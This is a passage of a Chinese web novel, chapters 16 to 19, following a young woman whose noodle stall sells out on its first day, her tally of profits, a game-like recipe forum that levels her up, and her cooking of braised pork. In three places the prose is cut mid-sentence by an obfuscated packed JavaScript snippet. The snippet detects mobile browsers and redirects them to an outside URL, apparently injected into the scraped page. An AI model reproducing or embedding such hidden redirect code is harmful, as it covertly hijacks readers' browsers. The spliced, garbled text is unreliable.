“这经典卤里是香蕈、黄花、豆干、木耳和猪肉。” 几人听见有肉，忙凑上去瞧，饭捂子没打开前，他们只隐隐闻着股荤香味儿，这会儿揭了盖儿，咸香鲜香都扑面而来，再看卤子的色泽，本就饿得咕咕叫的肚子，这会儿更是难耐。 就听有人忍不住问： “这经典卤和豆角肉末卤里竟有那么多肉！这得卖多少钱一碗啊？” 16. 第 16 章 盘算着价格不能便宜，有人面露难色似乎想打退堂鼓，只是碍于人多，不好转身就走，却默默退到了最后。 齐心指了指自己的菜单：“经典卤和肉末豆角只需八文一碗，番柿鸡子的六文。” “八文！” 人群后头传来一声沉闷的惊呼，声音如晨寺的钟鸣，一下就吸引了周围所有人的注意，不少过路人也因此停下了脚步，好奇地看着齐心这边的动静。 段婆婆以为他嫌贵，有些没底气想要解释两句：“这卤子放了许多肉，已不算……” “我来一碗经典卤！” 那道声音瞬间打断了婆婆的话，将前头的人都拨开，重新站到摊位前： “齐小娘子是吧？给我来一碗经典卤。” “好嘞！您稍坐，这就给您煮！” 齐心满脸的喜洋洋，锅里的水早就煮开了，抓上一大把面直接放进滚水里，看着柔软的面条在锅中翻舞着。 其余几位这才反应过来，不再客气，忙挤到摊位前说起自己的要的口味。 等到王家父子也点好了坐下，就见几人压低了声音凑作一团。 齐心眼观鼻鼻观心，支棱起耳朵也听得到几句。 “这齐小娘子还没荣哥儿年纪大吧？卖这么便宜，真能好吃？” “我和我爹都吃过的，还能作假？” “那头几家汤饼铺子，一碗素汤饼就要六文了，这什么卤我看着可是有不少肥肉呢，这齐小娘子真不是来当菩萨的？还是说光给看实则只给一点儿，这种路数咱遇上的还少吗?” “瞎说什么呢，齐小娘子不是这样的人。” “你又知道了。” “总，总之她不会糊弄人的！” “……” 王星荣最后一句落下，其他几人只得悻悻地闭了嘴，只是在心里计较着就算不好吃也忍了。 那饭捂子里可是明晃晃的荤腥，就算只给两三片，八文也值了啊！还有那番柿鸡子，一个生鸡子寻常也要两文钱了，再算上面和番柿，折算下来似乎也没怎么多挣他们的，这样的实惠，哪怕味道差一点儿，他们也还是愿意偶尔来吃吃的。 齐心没上赶着解释，只需等打卤面上桌，这些猜测自然会有个结果。 等六碗打卤面全都上桌，方才还有疑虑的几人相互对视了一眼，默契地把那些不确定全都咽进了肚子里。 这六碗面顶上全都浇了厚厚的一层卤子，连底下的面都看不见。 六个人，三个口味都有，几人看看这碗又看看那碗。 那劳什子“经典卤”看着油亮亮的，糊是褐色的，却又透着点光泽，里头至少缀着□□片微微焦褐色的肉片，木耳也是黑亮的，黄花菜裹在卤子里缀成淡黄色。 豆角肉末的也是如此，肉末有肥有瘦，瘦的合着酱色，肥的确是透亮的黄褐色，一看就有油润的滋味，那豆角也切得细碎，一看就很适合就面。 再有那番柿鸡子，红黄相间，不肖说味道，光是看着心情就好了。 四人越看越有些舍不得动筷。 倒是王家父子俩很是淡定地取了筷子，就着碗里满满当当的卤探进下头的面，夹上一大筷。 “呼呼——” 只简单吹凉一口，就迫不及待地顺滑吸溜进嘴，熟练地咀嚼着，任由想念多日的香味儿在口中幸福地蔓延开来。 “嗯！就是这个味儿！” 王星荣一口还没来得及咽下，就忍不住感叹出声。 旁边几位看得撇了撇嘴，小声嘟囔着：“有那么夸张吗？” 面庭宽阔的那位丁老三最先忍不住，下了筷想要搅拌搅拌，可筷子刚动，手却被王星荣眼疾手快地摁住了。 “这卤子不能拌，一拌泄了就不如原先好吃了。” 丁老三将信将疑地照办，就着表面的卤子夹起一筷子面，他先点的番柿鸡子卤，就见橙红的卤汁顺着面条往下流，将素净的面慢慢包裹，鸡子黄澄澄的，像云朵般蓬松柔软。 他火速往嘴里送上一口，番柿本身的酸味和不知怎么做成的鲜甜融合得恰到好处，鸡子已经吸饱了番柿汁子，刚嚼开，浓郁的蛋香味儿就蹦了出来。 酸甜咸鲜层次丰富却不违和。 手里的动作停了，只静静感受嘴里的滋味儿。 这反应落在周围几人眼中，反而叫人有些犹豫，他们忙推了推丁老三：“如何？是不好吃吗？” 可不等几人再摇晃，他迅速咽下嘴里的食物，埋下头一声不吭地狼吞虎咽起来，脸颊被食物塞得浑圆，那样子，像极了怕被抢食的小孩儿。 几人一看，这还有什么不明白的？ 再也不犹豫，紧跟着埋头吸溜上各自那碗。 “嗯——！” “嚯——嗯！” “嗯！” 满足的感叹此起彼伏，连评价都来不及，只顾得上咀嚼下肚又继续。 一碗过半，众人看了看齐心隔壁的饮子摊，嘴里的咸香又勾动了清爽止渴的念头。 “这会儿若是有个果子或是来碗酸甜的饮子吃吃，怕是极爽快的。” 齐心听了这话，反应最快： “隔壁段娘子的饮子也是极好的，这会儿正热，来上一碗冰凉的最是解暑。” 段娘子是又惊又喜，忙不迭给介绍了摊子上的冷饮，没想到竟真一人来上一碗，虽都选的两文的便宜饮子，她也乐得眉眼弯弯。 几位叔伯很是惬意，这一顿有吃有喝，有荤有素，最多也不过十文钱。 要知去食肆随意点个荤菜，份量不大的也至少要二十文呢！ 直到碗里剩的最后一点儿菜粒也被扒拉干净，大家终于长长地叹出一口气，摸摸自己满足的肚子，不约而同地冲着齐心： “这打卤面实在好吃！” “又好吃份量也实在，我一会儿干活定是使不完的力气。” “好吃真好吃！齐小娘子，我再来一碗，这次要豆角肉末的！” 齐心看着那个冲自己伸来的空碗，笑得见牙不见眼。 “好嘞！这就来。” 其他几人放下碗筷围了上来，在齐心的摊车上放下自己的那份面钱，打趣道：“丁老三，你还没吃饱呢？” 丁老三龇着牙花：“我这饭量你们还不知道？寻常胡饼都要吃两张的，今日这打卤面这么香，更得多吃一碗了！” “那你吃着，我们就先回去歇着了，下午还有不少货呢。” 丁老三就乖乖候在原位等着自己的第二碗面，小桌小凳和他那壮实的体型实在是差距太大，整个人几乎是缩在小凳上。 齐心瞥了一眼，便决心再过些时日，手里银钱多些要换一套桌凳，至少要让食客坐得舒服，这样吃起面来也更舒爽，不至于太过逼仄肠胃，想多吃点儿也没食欲了。 王星荣数了十四文钱放在摊车上，段婆婆见状有些不好意思，刚想拦，却被齐心先一步拽住。 “多谢王伯伯多谢星荣哥！哪日得空了上我家坐坐，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065583|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做上一桌好吃的，咱们邻居也要多多来往才好啊。” 王星荣见齐心大大方方地收了钱，这才毫无负担地笑起来： “那…那也太好了！你做的东西都好吃！” 王实也在一旁点点头，倒是问起了别的：“不知你今日卤子备了多少人份的？” 齐心虽有不解，却还是如实相告：“今天刚出摊没敢备太多，只准备了三十人份的卤子。” 王实很是笃定：“你这三十份，怕是不出两个时辰便能卖完了，明日可要多备些才行。” “我明白的，等明日……” “不不，我不是想插手的意思，”王实说着挠了挠头，“只是我们今日带来的这几位是我们那儿最是会吃的，今日他们吃好了，回去再与其他人一说，一传十十传百，明日怕是都要来凑凑热闹，我估摸着能有二十来个，你可要多准备点才好。” 齐心有些愣。 这么多人吗？ 王实似是看出她的惊讶，耐心解释：“咱们原武县几千户人，算起来少说也有近万人，二十来个都是寻常，你做得好吃，食客只多不少。” 齐心还是有些不敢置信，今日的三十份都是她把胆子放大了又大才憋出来的份量，光是王伯伯口中说的人数，就够她今日备下的份量了。 可哪有人卖吃食嫌食客多的，她很快就回过神来，嘴角的弧度怎么都压不住： “我知道了，多谢王伯伯提醒。” “好，那我们先走了。” 父子俩转身要走，齐心忙叫住又道：“对了王伯伯，您管事儿的那边……” 王实知她的意思，回过头来叫她安心： “我与管事儿多年的交情了，不必担心他那边，我都说妥当了。” 齐心笑着点头，暗暗记下，到时连管事儿的人情也得一并照顾上。 王实说完拽着王星荣便一起走，谁知王星荣一边被迫走远一边回过头来冲着齐心开口： “今日的打卤面比上次还好吃！” 直到被他爹拽得快要站不住，才赶忙回过头好好走远。 齐心看得失笑。 “哎呀！面！面！” 直到段婆婆惊慌的提醒声响起，她这才意识到自己手下的面还在滚水里浮游，慌慌张张地捞了面，分作两碗，还有方才说好给隔壁段婶婶的一份。 丁老三得了第二碗，进食的速度明显比第一碗慢了不少，第一碗是为了填饱肚子，这一碗到更像是为了好好品味其中滋味。 一边吃一边摇头晃脑地啧啧两声。 齐心没打扰他，而是回头去问段娘子：“婶婶看看有没有想吃的口味。” 段娘子有些局促地看了看几个饭捂子，这才答她：“那…那我就尝尝经典卤。” 她毫不吝啬地舀上一大勺，并没因是送的就减少份量。 段娘子接过那一大碗浇满了卤子的面很是惊喜：“这这这…这会不会太多了。” “段婶婶尽管吃，最好是能给我提提建议才好呢！” 说着，主动给人递上一双筷子。 方才几人在这儿吃得夸天赞地一顿彩虹屁，早就吸引了不少往来的目光，这会儿桌凳得了空，立马又有新的食客揣着好奇心上前，转眼间摊子前又堆了人。 “小娘子，你这荤面真的只要八文吗？” “闻着倒是不错，你年纪这样小，想来是家里人做的吧？” “我来份经典卤！” “……” 17. 第 17 章 齐心一时也顾不上问段娘子的感受：“段婶婶你先吃着，咱一会儿说。” “好好，你快忙你的。” 后来的食客已经急不可耐地候在摊位前，看着烫熟的面被捞起再浇上卤子。 打卤面摊前的热闹很快就吸引了一簇又一簇的食客，在同一条街道上别家零散的状态形成鲜明的对比。 人一多，好奇的人就越多，听到新鲜玩意儿和定价的人也都停下了脚步。 齐心今日带来的两张桌子八条小凳，人最多时已经完全不够坐了，饶是这样，看着别人吃得喷香的模样，后头的人哪怕没有位置也愿意多等上一会儿。原武县城已很久没出现过什么新鲜玩意儿了，大家都想尝一尝这从没听说过的滋味。 齐心生出一些局促，她想过大家为了图新鲜会热闹上一阵儿，看看问问的居多，但是没想到会连桌凳也不够坐。 “这…这劳烦大家再等等，前头的食客也快吃好了。今日准备得仓促，实在抱歉。” 谁料摊车前候着的三两位食客大手一挥，完全不在意这些细节： “小娘子，你只管煮面就是，我站着吃也是可以的！” “对对对，一碗面的功夫，我也能站着吃。” 段婆婆也没见过这个阵仗，和齐心两人面面相觑了片刻，齐心认命： “好好，那辛苦了，我这就下锅！” 她来煮面，段婆婆递碗，两人也算是默契地分工合作上了。 末尾好不容易排上摊车前来的两位食客，刚想问问还有什么口味，却见摊主双手一摊。 “抱歉抱歉，今日的打卤面都卖完了。” 那娘子不死心地探头看了一眼，几个饭捂子里干干净净，只余下一点儿黏糊的汁子，回头看了一眼或坐着或站着的食客，手里都捧着一碗打卤面吃得不语，光看他们那样儿就知道这碗打卤面到底有多香了。 怎么能这么快就卖完了呢？ 内心愤愤：“小娘子，你这打卤面明日还卖吗？” “卖的卖的，往后每日午时前就来，明日我多做些，管够。” “行，明日可一定要来啊，我家就住团街附近，明日我带着我家那小子一道儿来吃，他现在就在县学读书，每日午间便饿得受不住，这儿离得不远，来上一碗面最合适了。” 这还有人预定上了，齐心高兴还来不及，忙点头应下。 打卤面销售一空，她只好把车前挂的菜单给撤下，每每有人图新鲜或是凑热闹上前问，都只能笑着说一句今日都卖完了，明日再来。 等买到打卤面的食客全都吃饱喝足离开，隔壁的段娘子这才递了空碗过来，语气比刚见面时更亲近了些： “妹子，你这打卤面也太好吃了！” 这话段娘子刚尝过一口就想说了，可眼看人生意这样好，也没好意思打扰，且就这不到一个时辰，不仅齐心忙，就连她的饮子，也跟着多多卖上了不少。 这打卤面咸香，配上酸甜的饮子最是解渴。 “最先头来那几位，你们认识吧？”见齐心点了头，她又继续道，“这么好吃的东西，难怪一个个香得都不说话了，别说你这卖得好，连带着我这儿的饮子都销了不少，近来天热，饮子铺多了好几家，我正愁卖不出去呢，你这孩子可真是我的福星啊！” 段娘子一连说了许多话，皆是肺腑之言。 说完掏出八文钱来，非要塞到齐心手里。 齐心忙攥拳推拒：“段婶婶，说好这是请你尝尝的，我怎能收钱？” 可架不住段娘子的力气更大，硬是掰开她指尖塞进了掌心，塞完再轻轻拍了拍她的手背： “我感谢你还来不及，你这打卤面本就卖得便宜，我也不能啥便宜都占了不是？不过你明日可一定要来啊！” 齐心无奈，只得笑着应承： “来！以后都来。” “不过我同你说啊。”段娘子说着四下看了一眼，凑到她耳边压了压声音，“团街这儿不少汤饼铺子，你这打卤面这样好吃，定是要影响了他们，别家还好，就那当头的胡记汤饼铺，那店家最是小气阴损，只怕是要结怨了，你可千万要小心他给你使绊子啊。” 齐心神色一凛。 这就要开始面对商战了吗？ 她敛了笑意，正色道：“多谢婶婶，我知道了，往后一定谨慎。” 那头段婆婆已经将碗筷都收拾起来了，等着带回家再洗。 这事儿是齐心特意交代过的，外头食客用过的碗筷不仅要和自家人用的分别开，且清洗过后还都得用滚水煮过才能再给旁人用。 婆婆虽不太理解这样做的原因，但既是孙女特意说的，她便也不反对，只是多个步骤的事儿。 齐心看着那些用过的碗筷，心里起了盘算。 今日带来的三十来副碗筷倒是勉强够用，可若是明日再多做，这碗筷必然要有重复使用的，总不能来回搬回家洗一趟，浪费时间也废人，看来这摊车一锅滚水不够，还得再来一锅才行。 正好家里二楼的仓库还有一个炉灶，当时齐心不知能用来干嘛，这会儿倒是派上了用场。 还好有齐爹这白手起家在前，又一次在心里默默谢过齐爹，不然光是置办这些东西，她们如今就要破产。 段婆婆是眼看着今日这打卤面是怎样火速卖出去的，回去的路上嘴角实在难压，黯淡多月的眼睛终于有了光。 等两人先将摊车推回了家，她揣了一路的喜悦这才展露出来。 来不及帮着齐心拾掇东西，而是先去张秋玉的屋子说了这好消息。 “今日那食客简直是一个接一个，便是没位置坐，站着吃也要尝一尝的。” “真的？！不愧是我的姑娘，就是厉害！” 齐心本想着先卸下车上的东西，可听见里屋传来阿娘的惊呼，还是决定先放下了手中的活计，藏不住地笑着进屋去了。 “真的！咱们今日挣了不少呢！” 张秋玉忙将人招呼到自己身边，就见齐心从怀中小心翼翼地掏出一个布包，一层层打开后，里头是密密麻麻的铜钱，一眼看去还真数不清到底有多少。 “这么多呢！” 段婆婆也凑了过来，她今日虽看着陆陆续续地收钱，却也没仔细点过，这回来一下看到这样一堆铜钱，也不免有些惊讶，但一想到售价并不算贵的打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070287|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卤面，心里又有些打鼓。 “看着多，可是实际到底挣了多少啊？这打卤面的荤腥可都不便宜。” 齐心笑着给她们算了一笔账。 “除去给饮子摊段娘子的那份，今日共卖了三十三份打卤面，番柿鸡子的十份是六十文，经典卤和豆角肉末的二十三份便是一百八十四文。加起来一共二百四十四文。” 她边说边看着婆婆和阿娘脸上的惊喜越来越明显。 “至于这成本嘛——”她故意拖长了尾音，冲着两人眨巴眨巴眼睛。 “你这孩子急死人，快说快说。”段婆婆耐不住，伸手轻轻推了她一把。 她这才得逞地继续：“今日食材用量我都算过了，猪肉其实只用了六两左右，算下来应是25文，经典卤和豆角肉末里的素菜有22文，鸡子用了8个便是16文，姜蒜只用了一点儿不好算，我就算它1文吧，三斤粗面24文，全都加起来拢共是88文，煤饼的花费是单独的，我便暂不算到今日头上了。” 张秋玉的声音明显有些不平静了。 “那那那……那刨去成本，今日挣了一百五十六文！你这还是只卖了一个多时辰啊！这，这要是卖上一整日……” 她有些不敢往下想了，从前官人起家时卖的油饼，起早贪黑的最多也只有百文，女儿只单卖一个打卤面就已经超出她爹当年许多了。 情难自禁，她紧紧握住了齐心的双臂，眼角似有泪光：“好孩子，好，好……” 齐心看着她，温声引导：“阿娘现在，一定能相信咱们会越过越好了吧？” 张秋玉又想起亡夫，顿时泣不成声，只是一味地点着头，肯定这在心中盘踞许久的担忧终于拨云见日。 段婆婆在一旁含笑看着，眼中也满是希望的光。 “若是一天能卖上一百碗，便是一贯钱也有了。” 这哪是寻常活计敢想的！ 齐心看着她们，却不得不打断这种期待： “打卤面没法卖这么多。” 段婆婆不解：“为什么？只要卤子多备些不就可以了吗？” “卤子从做好到卖完，这中间要放近两个时辰，今日我看了，卤子到最后形味儿已经泄了，今日是卖得快，若是再放久一点，打卤的味道和口感都会大打折扣，就算是用饭捂子保温也没用，后来的客人若吃到不好的卤子，时日长了，咱们的口碑也要下滑，到时怕就要失了回头客了。” “那…那要不做一部分，卖完了再回家做好了提过去。” 齐心还是摇头：“这我也想过了，不说没推车我来回提不动这许多东西，便是客人等久了也是会不耐烦的，时日一长，吃的人就少了，倒不如像现在这样，限量似的供应。毕竟这打卤面来回也就这几个味道，如今图新鲜吃个几日，也总要换换口味去吃别家的。” “也是…”婆婆被说服，心里对这“得而复失”的收入有些遗憾，却也没过分纠结，“只是可惜了这摊位，每日只去上一两个时辰，剩下的都白白浪费了。” 齐心眨着眼睛，脸上是故意惹人心急后得逞的笑容： “谁说要浪费了？咱们还可以再卖些别的嘛。” 18. 第 18 章 下午的活儿方干到一半，丁老三看见路过自己身边的王星荣，忙叫住： “荣哥儿，你和那打卤面摊主娘子是不是关系还不错？” 王星荣见他空着手跟上来，狐疑地看了他一眼：“应该算还行吧，齐小娘子就是做饭好吃，咋了丁叔？” 丁老三见这小子分明是想茬了，一个脑瓜崩就送了上去。 “哎哟丁叔，打我做什么！” “你小子，我就是想让你帮我跟齐小娘子说一声，明日那打卤面给我留一碗。” “害，就这事儿啊？” “就这事儿。” “那我做不了主。” 丁老三气结，伸手还想给王星荣再来上狠狠一记脑瓜崩，转念想到这也算是有求于人，又憋着收了回去。 “这不是让你帮我问问嘛，管事儿的让我明日上明华街去干活儿，午时怕是赶不过来，再晚一点只怕没了，今日那经典卤我还没吃上呢！” 一听是要上齐心那食摊儿吃面，王星荣也不纠结那点被崩的憋屈了，爽快点头： “行，那我晚上回去问问她，若是可以，让她给你偷偷留一碗，若是不行，你明日回来也只能上别家吃去了。” “行行行，帮我说一声就是。若是留下了叔改日请你吃！” 王星荣自是乐得答应。 丁叔这人别的不说，爱吃这点倒是和他一样，不对，应该说比他更严重，若是遇见合胃口的饭食，这人是挤破了脑袋也要去吃的。 长乐街有家糕点铺子，每每出新品他便是排上一个时辰也要吃的，还有那何家食肆，听说有段时间来了个外地厨子，他更是风雨无阻每日都要去尝一个新鲜菜…… 诸如此类，数不胜数。 所以为了碗打卤面，午时歇工的短暂时间，他也要从明华街回到团街来吃，也确实是他的行事作风了。 王星荣啧啧两声。 免费的一碗打卤面，那他一定要尽力了嘿。 “什么打卤面？竟要专门请人留才能吃上。” 两人刚要分头行动，就听旁边凑过来的一个人头满满好奇。 王星荣是知道那打卤面是有多好吃的，丁老三才没兴趣同他形容，可眼前这老吕今日可是没跟他们一起去的，正好馋馋他才是。 顺手扒拉开王星荣，丁老三挤到他面前揽住他的肩膀，挤眉弄眼很是欠揍的模样，跟午时在面摊憨吃的样子截然不同。 “你不知道了吧，这打卤面啊就在团街那摊位市集上，是今日刚来的呢，摊主竟是个小娘子，但你别看她年纪小，手艺可不差，那卤子酸酸甜甜，咸香诱人，一口卤子一口面，就这么吸溜一口，吸——” 丁老三说着做那嗦面的动作，“香得你连话也不想说，只想赶紧一口接一口。” 老吕皱眉：“不过是碗面，能有这么好吃吗？团街上那么多家汤饼铺子咱都吃遍了，吃久了也就都那样儿。” “你看你，狭隘了不是。这打卤面同汤饼还真不一样。” “说得这样新奇，不会价钱又是奇货可居吧？” 老吕不是没被丁老三的吹嘘坑过的，那日劳什子糕，被吹得天上有地下无的，结果他过去一文，一个看着平平无奇的糕点竟敢要他二十文！ 从那之后他便一直对丁老三的美食推荐半信半疑了。 “哎！这次你真信我，一碗打卤面不过六文八文的，里头还有不少荤猪肉，油亮亮的，便宜得很！” 见丁老三这次真的是信誓旦旦，相当认真，老吕咬咬牙，决定再信他一回。 “行，那我明日过去看看。” 王星荣看着两人越走越远的背影，深沉地摇摇头。 很快，又要多一个为打卤面沦陷的同好。 —— “哎呀，我得赶紧收拾了东西再去买菜呢，明日还是要稍稍多做一些的。” 院里的摊车她暂时是来不及收拾了，从今日挣回来的铜钱里数出一百文踹上，又去进货了。 段婆婆主动请缨：“你去吧，我去收拾了就是。” “不不不，不用，婆婆你歇会儿吧，我很快就回来。” 说完便风风火火地又离了家。 除了买菜，她还想顺路去先前那位娘子提到的县学瞧上一眼。 从前上学时，总爱在放学后在校门口的小吃摊上买点东西解解嘴馋，或是小卖部的零嘴，或是炸货摊的炸串，又或是一杯奶茶…… 光是想想，齐心就要流口水了。 若是她就做县学附近的那家小吃摊，岂不是食客滚滚来？ 便是团街附近的小孩儿，说不定也全都能吸引过来。 就是这选品她着实没什么头绪，之前她是真想过炸串的，可是酱料完全是炸串的灵魂，她实在没什么自信靠自己调出什么绝妙的料汁来，论坛里也尝试搜索过，可大家用的调味品都是她在这个时代找不着的东西，尤其是辣椒一物。 她也没法凭空变出来不是？ 念头微动，忙叨了大半日没顾得上光顾的论坛在齐心眼前展开。 她往蔬菜铺子的脚步顿时停了下来。 页面上分明跳出了显眼的LV.2的提示，不等她反应： “恭喜您升级成为‘厨神论坛’的二级用户，目前经验值为24/50，普通菜谱功能页已为您打开，您可以根据食材或菜名获取您想要制作的菜谱，下次升级将为您开放购物商城功能，敬请期待。” 24！ “不过经验值怎么突然涨了这么多？” “24/50…那就是涨了——”齐心勾起手指头，“32点经验值！32……哪来的呢？是因为今日卖了打卤面吗？可今天一共卖了34份才对啊，2点的差值又在哪里？” “啊——！”她一拳捶在自己的掌心，“王伯伯和王星荣不算！难不成这升级的要素是让更多人吃过我做的东西？已经吃过的就不会再计算经验值了……” 可刚发觉自己掌握了论坛升级要领的齐心，又很快意识到另一个新来的问题： “等等等等，这购物商城又是什么东西啊，这儿哪有什么快递物流，难不成从天上砸下来啊？” 齐心就在街角嘀咕着，边说边抬头看看天。 晴日当空，万里无云。 嗯，丝毫没有掉馅饼的迹象。 等论坛的升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076855|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级提醒完全消失后，齐心终于看见了崭新的页面，各种菜名和菜色的照片只随意一翻看就叫她眼花缭乱。 制作步骤和需要的调味料都有单独的标注，就连用量也写得清清楚楚。 “太好了，再也不用搜一堆帖子在自己集合找要点了。” 本就因今日挣着自己第一笔收入高兴得飘飘然的齐心，这会儿几乎是蹦跳着往蔬菜铺子去了，脸上的笑容压也压不住，任谁路过瞧见都能猜到她今日一定是遇上大喜事了。 等她提溜着一大堆菜和肉找到县学门口，就听里头隐隐传来的朗朗读书声。 县学门口的看守见一个衣着朴素的小娘子站在门口，左手一吊五花肉，右手大把大把的素菜，长得倒是有些标致，可一脸痴笑就盯着县学里头，那模样，与村头的大傻别无二致。 “走走走，别站在这里！” 衢宁上前两步，冲着齐心把手中的木棍朝地面顿了顿。 “咚咚咚”地急促闷响，真把齐心当成了傻子般赶人。 齐心却没被这阵仗吓着，只是礼貌地柔声问： “打扰小官人了，我是刚来这附近摆摊的摊主，只是想看看县学大致都有多少学子，这才过来，若是能劳烦小官人告诉我一声，我即刻便走，绝不会影响您当值。” 到底年纪看着小，说话也颇得体，这会儿不痴笑了倒是不像什么奇怪的人，见她眼巴巴地盯着自己等一个答复，这问题倒确实不是什么秘密…… 衢宁轻咳一声，脸却还是沉着： “县学里学子近百人。” “那还真不少呢！”齐心得了想要的答案，乖巧福上一礼，“多谢小官人，我那食摊儿就在团街末尾，离这儿不远，每日午时出摊，若是得空了上我那儿，我请您吃一碗打卤面！” 说罢本想挥挥手告别，奈何手里东西太多，挥手的动作俨然变成了摇晃一堆菜叶子，那模样，实在滑稽。 衢宁看得愕然。 这姑娘真不是傻子吗？ 齐心得了信息，对食摊儿的第二菜单一定要主打县学的学子更加笃定了。 在她的认知里，学生的生意可是最好做的，特别是校外的小卖部和小吃摊，每每到了放学的时候，那摊子上满满的都是学生，一个赛一个的大嗓门点着他们想吃的东西。 等她到了家，本想把摊车收拾好了再做饭，谁知刚进院门就见段婆婆已经将擦洗好的最后一张小凳塞了回去。 “婆婆，说了等我回来再弄的！” 段婆婆站起身来反手锤了锤自己的腰背：“等你回来再收拾那得什么时候了，我顺手便收拾了，你回来正好做饭。” 齐心见她微微佝偻着，心头用上愧疚和心疼。 “我就该收拾好了再出门的，婆婆快去歇会儿吧，剩下的我来就是了。” 婆婆很快被赶回屋里，齐心看着被收拾妥当的摊车，今日用过的每一件东西都被擦洗得干干净净，那碗筷这会儿摸着也还有残存的温度，看来婆婆将她要滚水煮消的话记到了心里。 “婆婆真是…弄得这么干净，都没我下手的地方了。” “那我还是去灶房表现表现吧。” 19. 第 19 章 今日买了一吊五花肉，不到一斤也足足花了齐心六十文。 不过这次丝毫没觉得肉疼，挣钱本就是为了改善生活的，今日这一顿就当是庆祝成功开张了，往后多多挣钱多多攒钱，至少叫婆婆和阿娘不必为吃饭发愁。 明日的打卤面她决定把数量翻一倍，至少准备出六十份来，是以除了家里近日吃用的食材，今日刚挣着的 不过…… 她抬头看看漏风的灶房。 “趁冬天来之前，这屋子也该修缮修缮才是。”她嘟囔着，“北方的冬天一定很冷吧。” 照例先洗净了所有需要的蔬菜和姜葱，今日的晚饭齐心已用新来的菜谱看好了一荤一素。 那吊五花肉自然要来上一顿咸香悠长的红烧肉，素菜则是用的莲藕、扁豆、莱菔和木耳。 五花肉是照着菜谱里推荐的上五花选的三线肉，肉嫩，肥肉也多些，更适合做红烧肉。 火坑里架了锅烧水，先把肉切成均匀的方块儿，冷水下锅加上姜片和葱焯水给肉去腥，水开后捞起锅中的浮沫。八角香叶这样的大料齐心没能在市面上找着，只能舍弃，倒是新买了一罐豆酱和蚝油，豆酱便宜大罐，挑选时便闻着浓浓的酱香，除了今日炖肉能用上，往后做酱香口的食物也能用来调制底味了，至于那蚝油，齐心决定珍藏，少用些。 重新起锅，锅里只需一点底油，把刚焯好水的五花肉倒进去稍稍煸过，等猪肉块呈现淡淡焦黄的色泽捞出备用。 掏出段婆婆仅剩的一点儿糖之前，齐心还是记得往灶房门口看了看，确定没人在门口抓包，她这才小心拿出来用。 化糖色她没做过，不确定火候，为了不做出满是糊味儿的红烧肉，只往油锅里先丢了指甲盖儿大的一小块儿。 灶膛里的火也不敢烧太旺，炒勺还不停地滑炒着。 眼看着那一点儿糖渐渐变成了漂亮的焦糖色，她这才松了口气。 “还行，不算太难。”她看着手中为数不多的糖块儿，想想今日近一斤的五花肉，一咬牙，决定厚脸皮，“段婆婆应该是愿意把糖送我的吧？” 顺势掰下一大块儿，哐当一声扔进锅里。 “你在做什么？”段婆婆的声音“如期而至”。 坏了。 完蛋了…… 齐心的脑子里只剩这个念头。 做人果然不该立flag。 她缓缓转身，动作僵硬得像是冬日冻硬了的冰坨：“我…我做饭呢。” “我都看见了。” 段婆婆的脚步越来越近，她不得不把刚藏在身后的糖包又拽了拽，试图把它彻底藏在自己身体可以遮掩的位置。 那日段婆婆把糖块分出一点儿送给李娘子时，她是分明瞧见了段婆婆脸上心痛的。这要是知道自己一直偷偷用来做菜…… “这是做的什么菜要用糖？” “我错了！” 两人同时开口。 齐心接受审判而紧闭的双眼重新睁开，看着近在咫尺，不过是在看炒锅里东西的段婆婆，面上勉强镇定，心里却还在打着鼓： “我…我炖肉。” “嗯，要糊了。” 段婆婆冲着锅努努嘴。 “啊！”齐心一时也顾不上再狡辩什么，忙转身搅动着渐渐化开的糖汁，确认不会糊锅才想起来去问身边的段婆婆。 “婆婆一直都知道？” 段婆婆老神在在：“你爹从前做饭也爱放点儿糖，说是提鲜用。” 齐心人有些傻了。 合着她最近的鬼鬼祟祟偷偷摸摸，都是自己吓自己？ 合着段婆婆从一开始就知道糖炒菜的妙用！ 她眨巴着眼睛，忽而福至心灵，瞬间装上委屈：“所以婆婆是故意来吓唬我的。” 段婆婆嗤了一声，潇洒转身： “我一个老婆子吓唬你一个小孩儿作甚？” 说完扬长而去。 后头的齐心虽看不见段婆婆高高扬起的嘴角，却还是从她的声音里听出了笑意。 什么嘛！ 段婆婆这根本就是对自己今日卖关子的报复！报复！ 暂时忘掉段婆婆“使坏”的插曲，齐心终于把刚煸过的五花肉倒进炒好的糖里，只需稍稍翻炒，就能看见肉块挂上了漂亮的糖色，焦糖的颜色光是看一眼就知香甜。这会儿再加上几张姜片两个葱段翻炒几下，全都倒进滚水的陶锅里。 瞬间被激发的香气直直喷在齐心面上，深深吸上一口，语气里不乏感叹： “也算是吃上大肉了。” 